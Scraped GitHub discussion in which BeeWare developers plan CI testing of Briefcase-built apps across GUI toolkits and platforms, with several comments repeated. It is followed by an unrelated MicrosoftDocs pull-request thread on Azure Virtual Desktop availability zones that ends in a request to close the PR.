There doesn't appear to be a straight-forward way for a reusable workflow on a non-main branch to naturally use other reusable workflows/actions from that same branch. Hell, when they first added reusable workflows, they apparently didn't even have way to specify workflows in the same repo without explicitly specifying the same org/repo....so, this problem initially existed even when trying to test reusable workflow changes in the same repo. Referencing relative workflows was eventually added.
Anyway, I suppose I'll add inputs to app-build-verify to explicitly declare the repo to use for nested workflows/actions.

A few things to decide:

Where should the Briefcase Automation plugin live?

Currently, its in my github....but that obviously isn't appropriate long term
We can simply create a new repo under the beeware org
I'm also quite tempted to say it goes in beeware/briefcase as an additonal package...

Testing strategy

I've gone "all the way" with this PR currently....in that it supports running (nearly) all GUI toolkits on all platforms

Do we think this is necessary? or desired?

To get PPB to run on any platform, I had to use an old pysdl2-dll version

It seems like PPB is looking for symbols that just don't exist in the shared libraries in more recent packages
I didn't look in to it too deeply...but this may be something that should be added to the real templates

Does any of the environment configuration to run the apps negate meaningful testing?

For instance, does setting QT_QPA_PLATFORM=offscreen mean we're not meaningfully testing PySide6?

CI for .github is ensuring all GUI toolkits pass app-build-verify

We can go back to testing less per output format is this is just too many

CI Impacts

Adding this to CI doesn't appear to add much to its running time
For instance, Briefcase took 1hr48m of CPU time prior and (an average of) 1hr56m after

A few things to decide:

Where should the Briefcase Automation plugin live?

I'm also quite tempted to say it goes in beeware/briefcase as an additonal package...

The beeware/briefcase repo makes sense to me. It doesn't need to be installed by default, as it won't be very useful for anyone other than internal testing, but I don't think it's worth the effort of breaking it out as a standalone repo.

Testing strategy

I've gone "all the way" with this PR currently....in that it supports running all GUI toolkits on (nearly) all platforms

Do we think this is necessary? or desired?

Yes? Unless it's prohibitively difficult or time-expensive, I can't see any reason we shouldn't verify "this app can start" for as many targets as is plausible. We've built them - we might as well make sure they work.

To get PPB to run on any platform, I had to use an old pysdl2-dll version

It seems like PPB is looking for symbols that just don't exist in the shared libraries in more recent packages
I didn't look in to it too deeply...but this may be something that should be added to the real templates

I've noticed that too in my local testing. There might be something to report upstream to @pathunstrom (or she may already be aware), or it could be a template tweak we need to apply.

Does any of the environment configuration to run the apps negate meaningful testing?

I don't know - but "it starts and shuts down" is honestly a lot more testing than the current state of affairs. It's easy to get a binary that compiles but doesn't start. A binary that starts but doesn't do the right thing is harder, but those problems are more in the "are you using the toolkit right" territory than the "are you compiling it right" territory - and Briefcase's concern is more about the latter than the former.

Testing strategy

I've gone "all the way" with this PR currently....in that it supports running all GUI toolkits on (nearly) all platforms

Do we think this is necessary? or desired?

Yes? Unless it's prohibitively difficult or time-expensive, I can't see any reason we shouldn't verify "this app can start" for as many targets as is plausible. We've built them - we might as well make sure they work.

There's a few output formats that are just a little iffy....so FYI if nothing else:

AppImage (because of course AppImage)

I'm cheating with several of the GUI toolkits since I'm not actually ensuring the AppImage would run outside of CI....Ive just installed the necessary libraries in to the runner and the AppImage loads those from /usr/lib
This barely matters, though, since this only runs for briefcase-linux-appimage-template at this point

Flatpak

I'm injecting --device=dri in to the Flatpak manifest for some of the non-Toga toolkits

Android

I couldn't figure out how to get the emulator to run on Windows...but I feel like this should be possible

AppImage (because of course AppImage)

I'm cheating with several of the GUI toolkits since I'm not actually ensuring the AppImage would run outside of CI....Ive just installed the necessary libraries in to the runner and the AppImage loads those from /usr/lib
This barely matters, though, since this only runs for briefcase-linux-appimage-template at this point

The extent to which I care about AppImage at this point is difficult to measure with conventional instrumentation. :-)

Flatpak

I'm injecting --device=dri in to the Flatpak manifest for some of the non-Toga toolkits

If it's needed, it's needed. Is there a good reason to not include this permission? It doesn't strike me as a bad idea to enable network, sound and graphics flags for all toolkits, not just non-Toga.

Android

I couldn't figure out how to get the emulator to run on Windows...but I feel like this should be possible

So - two notes here:

I'm not sure it is possible - AFAIK, GitHub Actions machines are missing the kernel modification needed to run the Android emulator. This is essentially the same thing that kept us from running Android CI on Linux (until the Linux situation changed)
We don't need to run the Android image on every OS - we just need to verify that it builds on every OS, and that it runs in the emulator. As long as it runs in an emulator (presumably the Linux one, because of speed), I'm happy to call that a success.

AppImage (because of course AppImage)

I'm cheating with several of the GUI toolkits since I'm not actually ensuring the AppImage would run outside of CI....Ive just installed the necessary libraries in to the runner and the AppImage loads those from /usr/lib
This barely matters, though, since this only runs for briefcase-linux-appimage-template at this point

The extent to which I care about AppImage at this point is difficult to measure with conventional instrumentation. :-)

Flatpak

I'm injecting --device=dri in to the Flatpak manifest for some of the non-Toga toolkits

If it's needed, it's needed. Is there a good reason to not include this permission? It doesn't strike me as a bad idea to enable network, sound and graphics flags for all toolkits, not just non-Toga.

Android

I couldn't figure out how to get the emulator to run on Windows...but I feel like this should be possible

So - two notes here:

I'm not sure it is possible - AFAIK, GitHub Actions machines are missing the kernel modification needed to run the Android emulator. This is essentially the same thing that kept us from running Android CI on Linux (until the Linux situation changed)
We don't need to run the Android image on every OS - we just need to verify that it builds on every OS, and that it runs in an emulator. As long as it runs in an emulator (presumably the Linux one, because of speed), I'm happy to call that a success.

Flatpak

I'm injecting --device=dri in to the Flatpak manifest for some of the non-Toga toolkits

If it's needed, it's needed. Is there a good reason to not include this permission? It doesn't strike me as a bad idea to enable network, sound and graphics flags for all toolkits, not just non-Toga.

Yeah; that makes sense. Network is already enabled by default. I can add graphics (via device=dri) and sound (via socket=pulseaudio). We may also want to eventually consider allowing "running in the background" with advent of "status bar apps".

note to self: interesting....Briefcase crashed out while running the app...but didn't fail CI...although, in another example where it did fail CI, the exception in the output streamer thread wasn't captured in the Briefcase log...

This is basically all here now....

Except for support to call briefcase new for the backport PRs for the templates without using the new -Q argument

It would be pretty awkward to fall back to injecting to the inputs to stdin
I do wonder if the app-create action could just always use the latest Briefcase version....but that means that the proper Briefcase template version needs to be worked out in CI instead...

I've always been quite deep in this for a while now....so fresh eyes would probably be useful regardless

Testing

Briefcase repo

PR using these changes: https://github.com/beeware/briefcase/pull/1549
Shows app-create-verify not using the Automation plugin to create a Briefcase project
Shows app-build-verify installing Briefcase from the packaged wheel
Shows app-build-verify creating Briefcase project with Automation plugin
Shows app-build-verify running app and exiting

Briefcase project template repo

PR using these changes: https://github.com/beeware/briefcase-template/pull/86
Shows app-create-verify using the local repo checkout to create the Briefcase project
Shows app-build-verify using the local repo checkout to create the Briefcase project

Briefcase build template repo

PR using these changes: https://github.com/beeware/briefcase-android-gradle-template/pull/74
Shows app-build-verify using the local repo checkout to lay out the build directory

This is all here now.
I'm not sure where we stand now with any further parameterization of app-build-verify; do you think it'll be worth abstracting these last few bits?
Otherwise, the only other question is CI for backports for templates. I think we'll just need to abandon running CI for such PRs; I definitely do not see any low-effort option to keep it working. Although, once Briefcase 0.3.17 is cut, CI would be able to run for backports to that version and later.

I just realized that CI for this PR should be re-run without BRIEFCASE_REPO in the PR body. Let me do that.


Update eslz-business-continuity-and-disaster-recovery.md

Adjusted the statements on use of Availability zones to the current state of AVD.

@MayDay47 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@igorpag
Can you review this PR?
IMPORTANT: When this content is ready to merge, you must add #sign-off in a comment or the approval may get overlooked.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#label: keep-open

@igorpag - nudge.

Hey there Claus, there has been a change to this file since you proposed this.  Can you please merge the changes and if this is still needed we can move forward.
@MayDay47

@MicrosoftDocs/cloud-architecture-content-team-pr-reviewers - Please review the proposed changes. If you want to move forward with the content, add a sign-off.
#label:"aq-pr-triaged"
#label:"pending-content-team/business-approval"
Cc: @MicrosoftDocs/public-repo-pr-review-team

@MicrosoftDocs/cloud-architecture-content-team-pr-reviewers - Please review the proposed changes. If you want to move forward with the content, add a sign-off.
#label:"aq-pr-triaged" #label:"pending-content-team/business-approval" Cc: @MicrosoftDocs/public-repo-pr-review-team

@American-Dipper - just a heads up that ckittel (in CACT) has done initial review on this one and is waiting for a response from the contributor (see above)
#label:"cact-review-in-progress"

@MicrosoftDocs/cloud-architecture-content-team-pr-reviewers - Please review the proposed changes. If you want to move forward with the content, add a sign-off.
#label:"aq-pr-triaged" #label:"pending-content-team/business-approval" Cc: @MicrosoftDocs/public-repo-pr-review-team

@American-Dipper Jeff Borsecnik (Aquent LLC) Vendor - just a heads up that ckittel (in CACT) has done initial review on this one and is waiting for a response from the contributor (see above)
#label:"cact-review-in-progress"

Thanks. Yah, I was sort of following the letter of a new procedure, which is awkward in this case.  -jb

Hi all, don't know why I lost the notification of this, sorry for that. Anyway, due to a recent change in AVD, the additional content added in the PR is not correct anymore and then should be not merged. Now during AVD pool deployment you can select all the zones you want, not necessary to repeat the procedure for each AZ. Can we close this PR? Thanks.

#please-close
Thanks @igorpag